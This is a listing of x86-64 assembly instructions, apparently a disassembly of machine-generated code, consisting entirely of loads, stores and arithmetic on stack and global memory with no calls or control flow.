mov qword [rsp + 0xf9b8], rax
movsx eax, word [rsp + 0x1988]
movsx ecx, word [rsp + 0x17b0]
sar eax, cl
mov rcx, qword [rsp + 0xd630]
mov word [rcx], ax
mov rax, qword [rsp + 0xc058]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1d4]
shl eax, cl
mov byte [rsp + 0x19f], al
movzx eax, word [rsp + 0x17c4]
mov word [rsp + 0x1d38], ax
mov rax, qword [rsp + 0xd7f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf530]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xe458], rax
mov rax, qword [rsp + 0xdd58]
mov rax, qword [rax]
mov qword [rsp + 0xf9c0], rax
mov eax, dword [rsp + 0x6c54]
mov ecx, dword [rsp + 0x6df8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbd68]
mov dword [rcx], eax
mov rax, qword [rsp + 0xec98]
mov ecx, dword [rsp + 0x6a1c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6dcc], eax
mov rax, qword [rsp + 0xf8b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16e8]
sub eax, ecx
mov word [0x1402c74f4], ax
mov rax, qword [rsp + 0xca38]
movzx eax, byte [rax]
mov byte [rsp + 0x26f], al
mov rax, qword [rsp + 0xe2d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x231]
add eax, ecx
mov rcx, qword [rsp + 0xf8f8]
mov byte [rcx], al
lea rax, [0x1402c7614]
mov qword [rsp + 0xf9c8], rax
movzx eax, byte [rsp + 0x147]
movzx ecx, byte [rsp + 0xe4]
add eax, ecx
mov byte [rsp + 0x92], al
mov rax, qword [rsp + 0xf1d0]
mov qword [rsp + 0xf9d0], rax
mov eax, dword [0x1402c90a0]
mov ecx, dword [rsp + 0x6e34]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xf3c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd1d8]
mov rcx, qword [rsp + 0xbfa8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xba00]
mov qword [rcx], rax
mov eax, dword [rsp + 0x69a8]
mov dword [rsp + 0x70fc], eax
mov rax, qword [rsp + 0xd160]
movzx eax, word [rax]
mov rcx, qword [0x1402c9698]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [0x1402c9478]
mov word [rcx], ax
movzx eax, byte [rsp + 0x64]
mov rcx, qword [rsp + 0xf6a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xd6], al
mov rax, qword [rsp + 0xd5b0]
movzx eax, byte [rax]
mov byte [rsp + 0x270], al
movsx eax, word [rsp + 0x1a60]
mov rcx, qword [0x1402c9608]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1774], ax
movsx eax, byte [rsp + 0x196]
movsx ecx, byte [rsp + 0x163]
add eax, ecx
mov rcx, qword [rsp + 0xe7a8]
mov byte [rcx], al
lea rax, [rsp + 0x7004]
mov qword [rsp + 0xf9d8], rax
mov rax, qword [rsp + 0xf6e8]
mov rax, qword [rax]
mov rcx, qword [0x1402c7490]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcd38]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6f20]
mov dword [rsp + 0x7100], eax
mov rax, qword [rsp + 0xec68]
mov rcx, qword [rsp + 0xea18]
mov qword [rsp + 0xf9e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf9e0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xe1a0]
mov qword [rcx], rax
mov rax, qword [0x1402c96c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe868]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1402c7566], al
movzx eax, word [rsp + 0x1798]
mov rcx, qword [rsp + 0xea58]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x1a0c], ax
lea rax, [rsp + 0x15ec]
mov qword [rsp + 0xf9e8], rax
mov rax, qword [0x1402c95f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x19e0]
sar eax, cl
mov word [rsp + 0x17f0], ax
lea rax, [rsp + 0x26f]
mov qword [rsp + 0xf9f0], rax
mov rax, qword [rsp + 0xcf98]
mov rcx, qword [rsp + 0xbca8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xc428], rax
lea rax, [rsp + 0x6c28]
mov qword [rsp + 0xf9f8], rax
mov rax, qword [rsp + 0xedb8]
mov rcx, qword [rsp + 0xe9b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xc7f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc790]
mov rcx, qword [rsp + 0xc4a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xde98]
mov qword [rcx], rax
movzx eax, word [0x1402c92e8]
mov rcx, qword [rsp + 0xd9b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c7638], ax
lea rax, [rsp + 0x1c58]
mov qword [rsp + 0xfa00], rax
movsx eax, byte [rsp + 0xa0]
movsx ecx, byte [rsp + 0x61]
sub eax, ecx
mov rcx, qword [rsp + 0xc610]
mov byte [rcx], al
lea rax, [rsp + 0x26f]
mov qword [rsp + 0xfa08], rax
movzx eax, word [rsp + 0x1960]
mov rcx, qword [rsp + 0xe930]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x15d0], ax
mov rax, qword [rsp + 0xe178]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcc10]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc848]
mov qword [rcx], rax
lea rax, [rsp + 0x70d8]
mov qword [rsp + 0xfa10], rax
mov rax, qword [rsp + 0xd7b8]
mov rcx, qword [rsp + 0xf5c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xd5f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe498]
mov rax, qword [rax]
mov qword [rsp + 0xfa18], rax
lea rax, [rsp + 0x1b08]
mov qword [0x1402c9890], rax
mov rax, qword [rsp + 0xe060]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd5b0]
movsx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xbb80]
mov byte [rcx], al
movzx eax, byte [rsp + 0x254]
mov rcx, qword [rsp + 0xe0b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1aa], al
movzx eax, word [rsp + 0x1b80]
mov word [rsp + 0x1d3c], ax
mov rax, qword [rsp + 0xbef8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xdf98]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xf000]
mov byte [rcx], al
lea rax, [rsp + 0xbd88]
mov qword [rsp + 0xfa20], rax
mov eax, dword [rsp + 0x6ba0]
mov ecx, dword [rsp + 0x6d78]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x70d4], eax
mov rax, qword [rsp + 0xc4a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6c20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b7c], eax
mov rax, qword [rsp + 0xcf10]
mov qword [rsp + 0xfa28], rax
mov rax, qword [0x1402c9190]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe2]
sar eax, cl
mov byte [0x1402c74ee], al
mov rax, qword [rsp + 0xe630]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x57]
or eax, ecx
mov byte [rsp + 0x14a], al
lea rax, [rsp + 0x136]
mov qword [rsp + 0xfa30], rax
movzx eax, word [rsp + 0x19b8]
movzx ecx, word [rsp + 0x1cd4]
shl eax, cl
mov rcx, qword [rsp + 0xd110]
mov word [rcx], ax
mov rax, qword [rsp + 0xd028]
movzx eax, word [rax]
mov word [rsp + 0x1d40], ax
mov rax, qword [rsp + 0xdc58]
mov rcx, qword [rsp + 0xd8a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xc2c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xce30]
mov rcx, qword [rsp + 0xd9f8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc468], rax
lea rax, [rsp + 0xe268]
mov qword [rsp + 0xfa38], rax
mov eax, dword [0x1402c7498]
mov ecx, dword [rsp + 0x6b4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b98], eax
mov rax, qword [rsp + 0xcad8]
movzx eax, byte [rax]
mov byte [0x1402c91a3], al
lea rax, [rsp + 0x1b10]
mov qword [rsp + 0xfa40], rax
movsx eax, word [rsp + 0x1c98]
mov rcx, qword [rsp + 0xd688]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x15a0], ax
mov rax, qword [0x1402c92a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x26c]
add eax, ecx
mov byte [rsp + 0x186], al
movzx eax, word [rsp + 0x1b4c]
mov word [rsp + 0x1d44], ax
mov eax, dword [rsp + 0x6fb4]
mov ecx, dword [rsp + 0x6b30]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xe5e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xebf0]
mov eax, dword [rax]
mov dword [rsp + 0x7104], eax
mov rax, qword [rsp + 0xf920]
mov rcx, qword [rsp + 0xd1f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc948], rax
mov rax, qword [rsp + 0xd8c8]
mov rcx, qword [rsp + 0xce80]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xf228], rax
movzx eax, word [0x1402c9540]
mov word [rsp + 0x1d48], ax
movzx eax, byte [rsp + 0x24c]
mov rcx, qword [rsp + 0xd158]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c90c7], al
mov rax, qword [rsp + 0xf5d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x172c]
or eax, ecx
mov word [rsp + 0x1a44], ax
lea rax, [rsp + 0x196]
mov qword [rsp + 0xfa48], rax
mov rax, qword [rsp + 0xe200]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1afc]
shl eax, cl
mov rcx, qword [rsp + 0xc398]
mov word [rcx], ax
mov rax, qword [rsp + 0xd5d8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xda90]
sar rax, cl
mov qword [rsp + 0xed30], rax
lea rax, [rsp + 0x6d98]
mov qword [rsp + 0xfa50], rax
mov rax, qword [rsp + 0xd528]
mov rcx, qword [rsp + 0xd010]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6c98], eax
lea rax, [rsp + 0xc128]
mov qword [rsp + 0xfa58], rax
mov rax, qword [0x1402c92f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdbf8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1708], ax
movzx eax, byte [rsp + 0x1f0]
mov rcx, qword [rsp + 0xe390]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1402c7567], al
movzx eax, word [rsp + 0x1804]
mov word [rsp + 0x1d4c], ax
mov rax, qword [0x1402c97a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xf9]
add eax, ecx
mov rcx, qword [rsp + 0xc918]
mov byte [rcx], al
movzx eax, word [rsp + 0x18d4]
movzx ecx, word [rsp + 0x1898]
add eax, ecx
mov word [rsp + 0x19f0], ax
mov eax, dword [0x1402c90a0]
mov dword [rsp + 0x7108], eax
mov rax, qword [rsp + 0xf618]
mov rcx, qword [rsp + 0xf740]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcb10], rax
lea rax, [rsp + 0xccb8]
mov qword [rsp + 0xfa60], rax
mov rax, qword [rsp + 0xcda8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6f74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c80], eax
movsx eax, word [rsp + 0x1a80]
mov rcx, qword [rsp + 0xd138]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1b5c], ax
lea rax, [rsp + 0x23d]
mov qword [0x1402c9898], rax
lea rax, [rsp + 0x258]
mov qword [rsp + 0xfa68], rax
movzx eax, byte [0x1402c7547]
mov rcx, qword [rsp + 0xf908]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xf6a8]
mov byte [rcx], al
lea rax, [rsp + 0x196]
mov qword [rsp + 0xfa70], rax
mov rax, qword [rsp + 0xdae0]
mov ecx, dword [rsp + 0x6f44]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7004], eax
mov rax, qword [0x1402c90a8]
mov rcx, qword [rsp + 0xea20]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xf8e8], rax
lea rax, [rsp + 0x6ae8]
mov qword [rsp + 0xfa78], rax
mov rax, qword [rsp + 0xf270]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xcf78]
shl rax, cl
mov qword [rsp + 0xd9f8], rax
lea rax, [rsp + 0x181c]
mov qword [rsp + 0xfa80], rax
movzx eax, byte [rsp + 0x16a]
movzx ecx, byte [rsp + 0xd6]
or eax, ecx
mov byte [0x1402c74d6], al
mov rax, qword [rsp + 0xd7a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe9]
xor eax, ecx
mov rcx, qword [rsp + 0xc640]
mov byte [rcx], al
movzx eax, word [rsp + 0x1c60]
mov word [rsp + 0x1d50], ax
movzx eax, word [rsp + 0x19f8]
cdq
mov ecx, 0x542
idiv ecx
mov rcx, qword [rsp + 0xdbf8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x23e]
movzx ecx, byte [0x1402c74cb]
sar eax, cl
mov byte [rsp + 0x1cb], al
lea rax, [rsp + 0xca28]
mov qword [rsp + 0xfa88], rax
mov eax, dword [rsp + 0x7090]
mov ecx, dword [rsp + 0x706c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcb60]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcc40]
mov eax, dword [rax]
mov dword [rsp + 0x710c], eax
mov rax, qword [rsp + 0xc8d0]
mov rcx, qword [rsp + 0xc418]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xdf00]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1564]
mov rcx, qword [rsp + 0xbe90]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1402c93e8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x191]
mov rcx, qword [rsp + 0xd858]
movsx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x12f], al
mov rax, qword [rsp + 0xe4d0]
movzx eax, word [rax]
mov word [rsp + 0x1d54], ax
movzx eax, byte [rsp + 0x1b3]
movzx ecx, byte [rsp + 0xe3]
add eax, ecx
mov byte [rsp + 0x15b], al
movzx eax, byte [0x1402c90b6]
mov byte [rsp + 0x271], al
mov rax, qword [rsp + 0xc588]
mov ecx, dword [rsp + 0x6d04]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xe120]
mov dword [rcx], eax
mov rax, qword [rsp + 0xf9c0]
mov rcx, qword [rsp + 0xce28]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc110]
mov qword [rcx], rax
mov rax, qword [rsp + 0xf118]
mov eax, dword [rax]
mov dword [rsp + 0x7110], eax
mov rax, qword [rsp + 0xe240]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe428]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xe870]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe2b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d00]
sub eax, ecx
mov word [0x1402c7644], ax
movzx eax, byte [0x1402c74fa]
mov byte [rsp + 0x272], al
mov rax, qword [rsp + 0xc440]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xde48]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc260]
mov word [rcx], ax
mov rax, qword [rsp + 0xda48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b6c]
sub eax, ecx
mov rcx, qword [rsp + 0xeba0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1ad]
mov byte [rsp + 0x273], al
mov eax, dword [rsp + 0x6cf8]
mov ecx, dword [rsp + 0x6918]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc4a8]
mov dword [rcx], eax
lea rax, [rsp + 0xedc0]
mov qword [rsp + 0xfa90], rax
mov rax, qword [rsp + 0xc120]
mov rcx, qword [rsp + 0xca68]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xd810], rax
mov rax, qword [rsp + 0xe990]
mov eax, dword [rax]
mov dword [rsp + 0x7114], eax
movsx eax, word [rsp + 0x1880]
movsx ecx, word [rsp + 0x188c]
sar eax, cl
mov rcx, qword [0x1402c90f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xf400]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd670]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x139], al
mov rax, qword [rsp + 0xdb10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc238]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1d7], al
lea rax, [rsp + 0x1cd8]
mov qword [rsp + 0xfa98], rax
movzx eax, word [0x1402c761c]
imul eax, eax, 0x1c3
mov word [rsp + 0x1828], ax
lea rax, [rsp + 0xdfd0]
mov qword [rsp + 0xfaa0], rax
mov rax, qword [rsp + 0xce30]
mov rcx, qword [rsp + 0xe098]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xd370]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcd30]
mov rcx, qword [rsp + 0xf180]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6c40], eax
mov rax, qword [rsp + 0xd010]
mov eax, dword [rax]
mov dword [rsp + 0x7118], eax
mov rax, qword [rsp + 0xc7d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xda18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402c756a], al
mov rax, qword [rsp + 0xd690]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc728]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc490]
mov word [rcx], ax
lea rax, [rsp + 0x18cc]
mov qword [rsp + 0xfaa8], rax
mov rax, qword [rsp + 0xcb90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1a6]
add eax, ecx
mov byte [rsp + 0xb8], al
mov rax, qword [rsp + 0xbfc0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc870]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xfd], al
mov eax, dword [rsp + 0x6c5c]
mov dword [rsp + 0x711c], eax
mov rax, qword [rsp + 0xf730]
mov rcx, qword [rsp + 0xf330]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xec68], rax
lea rax, [rsp + 0x6ae4]
mov qword [rsp + 0xfab0], rax
mov rax, qword [rsp + 0xbf60]
mov rcx, qword [rsp + 0xcc70]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc9c8], rax
lea rax, [rsp + 0x1c94]
mov qword [0x1402c98a0], rax
mov rax, qword [0x1402c9430]
movzx eax, word [rax]
mov word [rsp + 0x1d58], ax
movsx eax, byte [rsp + 0x9c]
mov rcx, qword [rsp + 0xc6d8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1b7], al
movsx eax, word [rsp + 0x1630]
mov rcx, qword [0x1402c91e8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc398]
mov word [rcx], ax
movzx eax, byte [rsp + 0x268]
mov byte [rsp + 0x274], al
mov eax, dword [rsp + 0x6e38]
mov rcx, qword [rsp + 0xee50]
mov qword [rsp + 0xfab8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfab8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x705c], eax
lea rax, [rsp + 0xf918]
mov qword [rsp + 0xfac0], rax
mov rax, qword [rsp + 0xba88]
mov rcx, qword [rsp + 0xde98]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xc438]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe050]
mov rcx, qword [rsp + 0xeb50]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xf778]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc910]
movsx eax, byte [rax]
mov rcx, qword [0x1402c9618]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1402c74c2], al
lea rax, [rsp + 0x16d0]
mov qword [rsp + 0xfac8], rax
movzx eax, byte [rsp + 0xa6]
mov rcx, qword [rsp + 0xed08]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x26e], al
lea rax, [rsp + 0x1624]
mov qword [rsp + 0xfad0], rax
movzx eax, word [0x1402c9388]
movzx ecx, word [rsp + 0x195c]
sub eax, ecx
mov word [rsp + 0x1bf4], ax
mov eax, dword [rsp + 0x69a8]
mov ecx, dword [rsp + 0x707c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ca4], eax
mov rax, qword [rsp + 0xf100]
mov eax, dword [rax]
mov dword [rsp + 0x7120], eax
mov rax, qword [rsp + 0xe9c8]
mov rax, qword [rax]
mov rcx, qword [0x1402c7490]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbdf0], rax
mov rax, qword [rsp + 0xd2d8]
mov rax, qword [rax]
mov qword [rsp + 0xfad8], rax
movzx eax, byte [rsp + 0x197]
mov byte [0x1402c91a4], al
movsx eax, word [rsp + 0x15b4]
mov rcx, qword [rsp + 0xc208]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xecf8]
mov word [rcx], ax
movzx eax, word [rsp + 0x168c]
movzx ecx, word [rsp + 0x1994]
imul eax, ecx
mov rcx, qword [rsp + 0xc098]
mov word [rcx], ax
mov rax, qword [rsp + 0xde80]
movzx eax, byte [rax]
mov byte [rsp + 0x275], al
mov rax, qword [0x1402c9690]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xf310]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd988]
mov byte [rcx], al
lea rax, [rsp + 0x6bcc]
mov qword [rsp + 0xfae0], rax
mov rax, qword [rsp + 0xf678]
mov rcx, qword [rsp + 0xd678]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xd7c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xed00]
mov qword [rsp + 0xfae8], rax
mov rax, qword [rsp + 0xd260]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbeb8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc650]
mov qword [rcx], rax
mov rax, qword [rsp + 0xdf30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd890]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x15a], al
movsx eax, word [rsp + 0x19bc]
mov rcx, qword [rsp + 0xe8b0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x1402c9440]
mov word [rcx], ax
lea rax, [rsp + 0x151]
mov qword [rsp + 0xfaf0], rax
movzx eax, word [rsp + 0x1d20]
mov rcx, qword [rsp + 0xefc8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xe610]
mov word [rcx], ax
lea rax, [rsp + 0x19d0]
mov qword [rsp + 0xfaf8], rax
mov rax, qword [rsp + 0xcef8]
mov rcx, qword [rsp + 0xed98]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6fc0], eax
mov rax, qword [0x1402c90a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf8b0]
mov qword [rsp + 0xfb00], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfb00]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xf900], rax
lea rax, [rsp + 0x6af4]
mov qword [rsp + 0xfb08], rax
mov rax, qword [rsp + 0xe198]
mov rcx, qword [rsp + 0xb9d8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xd0a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xdf38]
movzx eax, byte [rax]
mov byte [rsp + 0x276], al
mov rax, qword [rsp + 0xec40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xf9f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [str._2_b_], al
mov rax, qword [rsp + 0xe940]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15f4]
add eax, ecx
mov rcx, qword [rsp + 0xe200]
mov word [rcx], ax
movzx eax, word [rsp + 0x1618]
mov rcx, qword [rsp + 0xc800]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xf040]
mov word [rcx], ax
lea rax, [rsp + 0x1c9]
mov qword [rsp + 0xfb10], rax
mov rax, qword [rsp + 0xcbd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6e24]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f38], eax
lea rax, [0x1402c90a0]
mov qword [rsp + 0xfb18], rax
mov rax, qword [rsp + 0xd970]
mov rcx, qword [rsp + 0xd370]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xddc0], rax
mov rax, qword [rsp + 0xe6c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf3e8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc948], rax
lea rax, [0x1402c755a]
mov qword [rsp + 0xfb20], rax
movsx eax, byte [rsp + 0x5f]
movsx ecx, byte [rsp + 0x149]
sub eax, ecx
mov byte [0x1402c74ae], al
movsx eax, word [rsp + 0x1c78]
movsx ecx, word [rsp + 0x1c28]
add eax, ecx
mov word [rsp + 0x1800], ax
movzx eax, word [0x1402c763c]
mov word [rsp + 0x1d5c], ax
mov rax, qword [rsp + 0xc4e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe360]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1770], ax
mov rax, qword [rsp + 0xc5d0]
mov eax, dword [rax]
mov dword [rsp + 0x7124], eax
mov rax, qword [rsp + 0xc868]
mov rcx, qword [rsp + 0xef60]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xe638], rax
mov rax, qword [rsp + 0xe180]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b6c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xe6b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe270]
mov qword [rsp + 0xfb28], rax
movzx eax, byte [0x1402c756a]
mov rcx, qword [rsp + 0xdf30]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x91], al
movzx eax, word [rsp + 0x1c1c]
mov rcx, qword [rsp + 0xbef0]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [0x1402c7648], ax
lea rax, [rsp + 0x1804]
mov qword [rsp + 0xfb30], rax
mov rax, qword [rsp + 0xf5c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd1b8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xf490]
mov byte [rcx], al
movsx eax, byte [rsp + 0xae]
mov rcx, qword [rsp + 0xf278]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xef], al
mov rax, qword [rsp + 0xc378]
movzx eax, word [rax]
mov word [rsp + 0x1d60], ax
mov rax, qword [rsp + 0xed50]
mov eax, dword [rax]
mov ecx, dword [0x1402c7498]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b60], eax
mov rax, qword [rsp + 0xc9b8]
mov eax, dword [rax]
mov dword [rsp + 0x7128], eax
mov rax, qword [rsp + 0xbd50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf430]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc7b8], rax
mov rax, qword [rsp + 0xeb38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc1f0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xf7c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe9c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x182]
add eax, ecx
mov byte [0x1402c74b7], al
movzx eax, word [rsp + 0x1c58]
mov word [rsp + 0x1d64], ax
movsx eax, byte [rsp + 0x12f]
movsx ecx, byte [rsp + 0x25f]
sub eax, ecx
mov byte [rsp + 0x10e], al
mov rax, qword [rsp + 0xbbc0]
movzx eax, word [rax]
mov word [rsp + 0x1d68], ax
mov rax, qword [rsp + 0xd118]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15cc]
add eax, ecx
mov word [rsp + 0x1af8], ax
mov eax, dword [rsp + 0x68d4]
mov dword [rsp + 0x712c], eax
mov rax, qword [rsp + 0xe690]
mov rcx, qword [rsp + 0xce28]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xede0], rax
mov eax, dword [rsp + 0x6994]
imul eax, dword [rsp + 0x6dc4]
mov dword [rsp + 0x6d6c], eax
